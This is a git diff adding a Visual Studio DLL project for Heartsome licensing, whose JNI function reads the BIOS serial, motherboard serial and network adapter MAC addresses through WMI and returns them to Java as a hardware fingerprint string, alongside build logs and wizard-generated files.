2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +c:\documents and settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +c:\documents and settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +c:\documents and settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +c:\documents and settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\my documents\visual studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +^C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\win_x86_Series\win_x86_Series.vcxproj +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.lib +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp +C:\Documents and Settings\test\My Documents\Visual Studio 2010\Projects\win_x86_Series\Debug\win_x86_Series.exp diff --git a/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series_manifest.rc b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series_manifest.rc new file mode 100644 index 0000000..e946c17 Binary files /dev/null and b/tools/win_x86_Series/win_x86_Series/Debug/win_x86_Series_manifest.rc differ diff --git a/tools/win_x86_Series/win_x86_Series/ReadMe.txt b/tools/win_x86_Series/win_x86_Series/ReadMe.txt new file mode 100644 index 0000000..8eb9f5c --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/ReadMe.txt @@ -0,0 +1,44 @@ +======================================================================== + 动æ€é“¾æŽ¥åº“:win_x86_Series 项目概述 +======================================================================== + +应用程åºå‘导已为您创建了此 win_x86_Series DLL。 + +本文件概è¦ä»‹ç»ç»„æˆ win_x86_Series 应用程åºçš„æ¯ä¸ªæ–‡ä»¶çš„内容。 + + +win_x86_Series.vcxproj + 这是使用应用程åºå‘导生æˆçš„ VC++ 项目的主项目文件, + 其中包å«ç”Ÿæˆè¯¥æ–‡ä»¶çš„ Visual C++ + 的版本信æ¯ï¼Œä»¥åŠæœ‰å…³ä½¿ç”¨åº”用程åºå‘导选择的平å°ã€é…置和项目功能的信æ¯ã€‚ + +win_x86_Series.vcxproj.filters + 这是使用“应用程åºå‘导â€ç”Ÿæˆçš„ VC++ 项目筛选器文件。 + 它包å«æœ‰å…³é¡¹ç›®æ–‡ä»¶ä¸Žç­›é€‰å™¨ä¹‹é—´çš„å…³è”ä¿¡æ¯ã€‚ 在 IDE + 中,通过这ç§å…³è”,在特定节点下以分组形å¼æ˜¾ç¤ºå…·æœ‰ç›¸ä¼¼æ‰©å±•å的文件。 + 例如,“.cppâ€æ–‡ä»¶ä¸Žâ€œæºæ–‡ä»¶â€ç­›é€‰å™¨å…³è”。 + +win_x86_Series.cpp + 这是主 DLL æºæ–‡ä»¶ã€‚ + + æ­¤ DLL 在创建时ä¸å¯¼å‡ºä»»ä½•ç¬¦å·ã€‚ 因此,在生æˆæ­¤ DLL æ—¶ + 生æˆæ—¶ä¸ä¼šäº§ç”Ÿ .lib 文件。 如果希望此项目 + æˆä¸ºå…¶ä»–æŸä¸ªé¡¹ç›®çš„项目ä¾èµ–é¡¹ï¼Œåˆ™éœ€è¦ + 添加代ç ä»¥ä»Ž DLL 导出æŸäº›ç¬¦å·ï¼Œ + 以便产生一个导出库,或者,也å¯ä»¥åœ¨é¡¹ç›®â€œå±žæ€§é¡µâ€å¯¹è¯æ¡†ä¸­çš„ + “链接器â€æ–‡ä»¶å¤¹ä¸­ï¼Œå°†â€œå¸¸è§„â€å±žæ€§é¡µä¸Šçš„ + “忽略输入库â€å±žæ€§è®¾ç½®ä¸ºâ€œæ˜¯â€ã€‚ + +///////////////////////////////////////////////////////////////////////////// +其他标准文件: + +StdAfx.h,StdAfx.cpp + 这些文件用于生æˆå为 win_x86_Series.pch 的预编译头 (PCH) 文件和 + å为 StdAfx.obj 的预编译类型文件。 + +///////////////////////////////////////////////////////////////////////////// +其他注释: + +应用程åºå‘导使用“TODO:â€æ³¨é‡Šæ¥æŒ‡ç¤ºåº”添加或自定义的æºä»£ç éƒ¨åˆ†ã€‚ + +///////////////////////////////////////////////////////////////////////////// diff --git a/tools/win_x86_Series/win_x86_Series/dllmain.cpp b/tools/win_x86_Series/win_x86_Series/dllmain.cpp new file mode 100644 index 0000000..f782a01 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : ¶¨Òå DLL Ó¦ÓóÌÐòµÄÈë¿Úµã¡£ +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/tools/win_x86_Series/win_x86_Series/net_heartsome_license_Series.h b/tools/win_x86_Series/win_x86_Series/net_heartsome_license_Series.h new file mode 100644 index 0000000..89c11f8 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/net_heartsome_license_Series.h @@ -0,0 +1,21 @@ +/* DO NOT EDIT THIS FILE - it is machine generated */ +#include +/* Header for class net_heartsome_license_Series */ + +#ifndef _Included_net_heartsome_license_Series +#define _Included_net_heartsome_license_Series +#ifdef __cplusplus +extern "C" { +#endif +/* + * Class: net_heartsome_license_Series + * Method: getSeries + * Signature: ()Ljava/lang/String; + */ +JNIEXPORT jstring JNICALL Java_net_heartsome_license_Series_getSeries + (JNIEnv *, jobject); + +#ifdef __cplusplus +} +#endif +#endif \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/stdafx.cpp b/tools/win_x86_Series/win_x86_Series/stdafx.cpp new file mode 100644 index 0000000..69b20ba --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : Ö»°üÀ¨±ê×¼°üº¬ÎļþµÄÔ´Îļþ +// win_x86_Series.pch ½«×÷ΪԤ±àÒëÍ· +// stdafx.obj ½«°üº¬Ô¤±àÒëÀàÐÍÐÅÏ¢ + +#include "stdafx.h" + +// TODO: ÔÚ STDAFX.H ÖÐ +// ÒýÓÃÈκÎËùÐèµÄ¸½¼ÓÍ·Îļþ£¬¶ø²»ÊÇÔÚ´ËÎļþÖÐÒýÓà diff --git a/tools/win_x86_Series/win_x86_Series/stdafx.h b/tools/win_x86_Series/win_x86_Series/stdafx.h new file mode 100644 index 0000000..acfe85f --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/stdafx.h @@ -0,0 +1,16 @@ +// stdafx.h : ±ê׼ϵͳ°üº¬ÎļþµÄ°üº¬Îļþ£¬ +// »òÊǾ­³£Ê¹Óõ«²»³£¸ü¸ÄµÄ +// Ìض¨ÓÚÏîÄ¿µÄ°üº¬Îļþ +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // ´Ó Windows Í·ÎļþÖÐÅųý¼«ÉÙʹÓõÄÐÅÏ¢ +// Windows Í·Îļþ: +#include + + + +// TODO: ÔÚ´Ë´¦ÒýÓóÌÐòÐèÒªµÄÆäËûÍ·Îļþ diff --git a/tools/win_x86_Series/win_x86_Series/targetver.h b/tools/win_x86_Series/win_x86_Series/targetver.h new file mode 100644 index 0000000..aadba2f --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// °üÀ¨ SDKDDKVer.h ½«¶¨Òå¿ÉÓõÄ×î¸ß°æ±¾µÄ Windows ƽ̨¡£ + +// Èç¹ûҪΪÒÔÇ°µÄ Windows ƽ̨Éú³ÉÓ¦ÓóÌÐò£¬Çë°üÀ¨ WinSDKVer.h£¬²¢½« +// WIN32_WINNT ºêÉèÖÃΪҪ֧³ÖµÄƽ̨£¬È»ºóÔÙ°üÀ¨ SDKDDKVer.h¡£ + +#include diff --git a/tools/win_x86_Series/win_x86_Series/win_x86_Series.cpp b/tools/win_x86_Series/win_x86_Series/win_x86_Series.cpp new file mode 100644 index 0000000..8abe518 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/win_x86_Series.cpp @@ -0,0 +1,349 @@ +// win_x86_Series.cpp : ¶¨Òå DLL Ó¦ÓóÌÐòµÄµ¼³öº¯Êý¡£ +// + +#include "stdafx.h" +#include "net_heartsome_license_Series.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment (lib, "comsuppw.lib") +#pragma comment (lib, "wbemuuid.lib") + +#ifndef MACRO_T_DEVICE_PROPERTY + #define MACRO_T_DEVICE_PROPERTY + + #define PROPERTY_MAX_LEN 128 // ÊôÐÔ×Ö¶Î×î´ó³¤¶È + typedef struct _T_DEVICE_PROPERTY + { + TCHAR szProperty[PROPERTY_MAX_LEN]; + } T_DEVICE_PROPERTY; +#endif + +#define WMI_QUERY_TYPENUM 3 // WMI²éѯ֧³ÖµÄÀàÐÍÊý + +typedef struct _T_WQL_QUERY +{ + CHAR* szSelect; // SELECTÓï¾ä + WCHAR* szProperty; // ÊôÐÔ×ֶΠ+} T_WQL_QUERY; + +// WQL²éѯÓï¾ä +const T_WQL_QUERY szWQLQuery[] = { + // Íø¿¨µ±Ç°MACµØÖ· + "SELECT * FROM Win32_NetworkAdapter WHERE (MACAddress IS NOT NULL) AND (NOT (PNPDeviceID LIKE 'ROOT%'))", + L"PNPDeviceID", + + // Ö÷°åÐòÁкŠ+ "SELECT * FROM Win32_BaseBoard WHERE (SerialNumber IS NOT NULL)", + L"SerialNumber", + + // BIOSÐòÁкŠ+ "SELECT * FROM Win32_BIOS WHERE (SerialNumber IS NOT NULL)", + L"SerialNumber" +}; + +static BOOL WMI_DoWithPNPDeviceID( const TCHAR *PNPDeviceID, TCHAR *MacAddress, UINT uSize ) +{ + TCHAR DevicePath[MAX_PATH]; + HANDLE hDeviceFile; + BOOL isOK = FALSE; + + // Éú³ÉÉ豸·¾¶Ãû + StringCchCopy( DevicePath, MAX_PATH, TEXT("\\\\.\\") ); + StringCchCat( DevicePath, MAX_PATH, PNPDeviceID ); + StringCchCat( DevicePath, MAX_PATH, TEXT("#{ad498944-762f-11d0-8dcb-00c04fc3358c}") ); + + // ½«¡°PNPDeviceID¡±Öеġ°\¡±Ìæ»»³É¡°#¡±£¬ÒÔ»ñµÃÕæÕýµÄÉ豸·¾¶Ãû + std::replace( DevicePath + 4, DevicePath + 4 + _tcslen(PNPDeviceID), TEXT('\\'), TEXT('#') ); + + // »ñÈ¡É豸¾ä±ú + hDeviceFile = CreateFile( DevicePath, + 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL); + + if( hDeviceFile != INVALID_HANDLE_VALUE ) + { + ULONG dwID; + BYTE ucData[8]; + DWORD dwByteRet; + + // »ñÈ¡Íø¿¨Ô­ÉúMACµØÖ· + dwID = OID_802_3_PERMANENT_ADDRESS; + isOK = DeviceIoControl( hDeviceFile, IOCTL_NDIS_QUERY_GLOBAL_STATS, &dwID, sizeof(dwID), ucData, sizeof(ucData), &dwByteRet, NULL ); + if( isOK ) + { // ½«×Ö½ÚÊý×éת»»³É16½øÖÆ×Ö·û´® + for( DWORD i = 0; i < dwByteRet; i++ ) + { + StringCchPrintf( MacAddress + (i << 1), uSize - (i << 1), TEXT("%02X"), ucData[i] ); + } + } + + CloseHandle( hDeviceFile ); + } + + return isOK; +} + +static BOOL WMI_DoWithProperty(INT iQueryType, TCHAR *szProperty, UINT uSize ) +{ + BOOL isOK = TRUE; + + if (iQueryType == 0) { + isOK = WMI_DoWithPNPDeviceID( szProperty, szProperty, uSize ); + } + + // È¥µôðºÅ + std::remove( szProperty, szProperty + _tcslen(szProperty) + 1, L':' ); + // È¥µô¿Õ¸ñ + std::remove( szProperty, szProperty + _tcslen(szProperty) + 1, L' ' ); + + return isOK; +} + +// »ùÓÚWindows Management Instrumentation£¨Windows¹ÜÀí¹æ·¶£© +INT WMI_DeviceQuery( INT iQueryType, T_DEVICE_PROPERTY *properties, INT iSize ) +{ + HRESULT hres; + INT iTotal = 0; + + // ÅжϲéѯÀàÐÍÊÇ·ñÖ§³Ö + if( (iQueryType < 0) || (iQueryType >= sizeof(szWQLQuery)/sizeof(T_WQL_QUERY)) ) + { + return -1; // ²éѯÀàÐͲ»Ö§³Ö + } + + // ³õʼ»¯COM + hres = CoInitializeEx( NULL, COINIT_APARTMENTTHREADED ); + if( FAILED(hres) ) + { + return -2; + } + + // ÉèÖÃCOMµÄ°²È«ÈÏÖ¤¼¶±ð + hres = CoInitializeSecurity( + NULL, + -1, + NULL, + NULL, + RPC_C_AUTHN_LEVEL_DEFAULT, + RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, + EOAC_NONE, + NULL + ); + if(hres != S_OK && hres != RPC_E_TOO_LATE) + { + CoUninitialize(); + return -2; + } + + // »ñµÃWMIÁ¬½ÓCOM½Ó¿Ú + IWbemLocator *pLoc = NULL; + hres = CoCreateInstance( + CLSID_WbemLocator, + NULL, + CLSCTX_INPROC_SERVER, + IID_IWbemLocator, + reinterpret_cast(&pLoc) + ); + if( FAILED(hres) ) + { + CoUninitialize(); + return -2; + } + + // ͨ¹ýÁ¬½Ó½Ó¿ÚÁ¬½ÓWMIµÄÄں˶ÔÏóÃû"ROOT\\CIMV2" + IWbemServices *pSvc = NULL; + hres = pLoc->ConnectServer( + _bstr_t( L"ROOT\\CIMV2" ), + NULL, + NULL, + NULL, + 0, + NULL, + NULL, + &pSvc + ); + if( FAILED(hres) ) + { + pLoc->Release(); + CoUninitialize(); + return -2; + } + + // ÉèÖÃÇëÇó´úÀíµÄ°²È«¼¶±ð + hres = CoSetProxyBlanket( + pSvc, + RPC_C_AUTHN_WINNT, + RPC_C_AUTHZ_NONE, + NULL, + RPC_C_AUTHN_LEVEL_CALL, + RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, + EOAC_NONE + ); + if( FAILED(hres) ) + { + pSvc->Release(); + pLoc->Release(); + CoUninitialize(); + return -2; + } + + // ͨ¹ýÇëÇó´úÀíÀ´ÏòWMI·¢ËÍÇëÇó + IEnumWbemClassObject *pEnumerator = NULL; + hres = pSvc->ExecQuery( + bstr_t("WQL"), + bstr_t( szWQLQuery[iQueryType].szSelect ), + WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, + NULL, + &pEnumerator + ); + if( FAILED(hres) ) + { + pSvc->Release(); + pLoc->Release(); + CoUninitialize(); + return -3; + } + + // Ñ­»·Ã¶¾ÙËùÓеĽá¹û¶ÔÏó + while( pEnumerator ) + { + IWbemClassObject *pclsObj = NULL; + ULONG uReturn = 0; + + if( (properties != NULL) && (iTotal >= iSize) ) + { + break; + } + + pEnumerator->Next( + WBEM_INFINITE, + 1, + &pclsObj, + &uReturn + ); + + if( uReturn == 0 ) + { + StringCchCopy( properties[iTotal].szProperty, PROPERTY_MAX_LEN, W2T(L"None") ); + break; + } + + if( properties != NULL ) + { // »ñÈ¡ÊôÐÔÖµ + VARIANT vtProperty; + + VariantInit( &vtProperty ); + pclsObj->Get( szWQLQuery[iQueryType].szProperty, 0, &vtProperty, NULL, NULL ); + StringCchCopy( properties[iTotal].szProperty, PROPERTY_MAX_LEN, W2T(vtProperty.bstrVal) ); + VariantClear( &vtProperty ); + + // ¶ÔÊôÐÔÖµ×ö½øÒ»²½µÄ´¦Àí + if( WMI_DoWithProperty(iQueryType, properties[iTotal].szProperty, PROPERTY_MAX_LEN ) ) + { + iTotal++; + } + } + else + { + iTotal++; + } + + pclsObj->Release(); + } // End While + + // ÊÍ·Å×ÊÔ´ + pEnumerator->Release(); + pSvc->Release(); + pLoc->Release(); + CoUninitialize(); + + return iTotal; +} + +JNIEXPORT jstring JNICALL Java_net_heartsome_license_Series_getSeries + (JNIEnv *env, jobject obj) { + T_DEVICE_PROPERTY properties1; + WMI_DeviceQuery(1, &properties1, 1); + + T_DEVICE_PROPERTY properties2; + WMI_DeviceQuery(2, &properties2, 1); + + //»ñÈ¡×Ö½Ú³¤¶È + int iLength1 = WideCharToMultiByte(CP_ACP, 0, properties1.szProperty, -1, NULL, 0, NULL, NULL); + int iLength2 = WideCharToMultiByte(CP_ACP, 0, properties2.szProperty, -1, NULL, 0, NULL, NULL); + int length = 0; + + char * _char1 = new char[iLength1]; + char * _char2 = new char[iLength2]; + + WideCharToMultiByte(CP_ACP, 0, properties1.szProperty, -1, _char1, iLength1, NULL, NULL); + if (strcmp(_char1, "None") == 0) { + length += 10; + } else { + length += iLength1; + } + + length += 1; + + WideCharToMultiByte(CP_ACP, 0, properties2.szProperty, -1, _char2, iLength2, NULL, NULL); + if (strcmp(_char2, "None") == 0) { + length += 10; + } else { + length += iLength2; + } + length += 1; + + T_DEVICE_PROPERTY *properties0 = new T_DEVICE_PROPERTY[10]; + int size = WMI_DeviceQuery(0, properties0, 10); + length += size * 13; + + char * temp = new char[length]; + + if (strcmp(_char1, "None") == 0) { + strcpy(temp, "s4j3U78Iiq"); + } else { + strcpy(temp, _char1); + } + strcat(temp, "%"); + + if (strcmp(_char2, "None") == 0) { + strcat(temp, "kl9UNLu81b"); + } else { + strcat(temp, _char2); + } + strcat(temp, "%"); + + for (int i = 0 ; i < size ; i++) { + int iLength = WideCharToMultiByte(CP_ACP, 0, properties0[i].szProperty, -1, NULL, 0, NULL, NULL); + char * _char = new char[iLength]; + + //½«tcharÖµ¸³¸ø_char + WideCharToMultiByte(CP_ACP, 0, properties0[i].szProperty, -1, _char, iLength, NULL, NULL); + if (strcmp(_char, "None") == 0) { + strcat(temp, "d4r6i84oe067"); + } else { + strcat(temp, _char); + } + if (i < size - 1) { + strcat(temp, "+"); + } + } + + return env->NewStringUTF(temp); +} + + diff --git a/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj b/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj new file mode 100644 index 0000000..e287440 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {54DBDC33-3B4F-410B-BF6D-D88BA5AAEB8D} + Win32Proj + win_x86_Series + + + + DynamicLibrary + true + Unicode + Static + + + DynamicLibrary + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + + + DynamicLibrary + false + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN_X86_SERIES_EXPORTS;%(PreprocessorDefinitions) + $(JAVA_HOME)\include\win32;$(JAVA_HOME)\include;%(AdditionalIncludeDirectories) + + + Windows + true + $(JAVA_HOME)\lib + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;jvm.lib;%(AdditionalDependencies) + MachineX86 + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;WIN_X86_SERIES_EXPORTS;%(PreprocessorDefinitions) + $(JAVA_HOME)\include\win32;$(JAVA_HOME)\include;%(AdditionalIncludeDirectories) + + + Windows + true + $(JAVA_HOME)\lib + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;jvm.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86_SERIES_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86_SERIES_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + true + true + + + + + + + + + + + + + false + false + + + + + false + false + + + + + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj.filters b/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj.filters new file mode 100644 index 0000000..17bbadc --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj.filters @@ -0,0 +1,42 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + 头文件 + + + + + æºæ–‡ä»¶ + + + æºæ–‡ä»¶ + + + æºæ–‡ä»¶ + + + \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj.user b/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj.user new file mode 100644 index 0000000..695b5c7 --- /dev/null +++ b/tools/win_x86_Series/win_x86_Series/win_x86_Series.vcxproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/tools/win_x86_Series/win_x86_Series/x64/Debug/CL.read.1.tlog b/tools/win_x86_Series/win_x86_Series/x64/Debug/CL.read.1.tlog new file mode 100644 index 0000000..44d85e2 Binary files /dev/null and 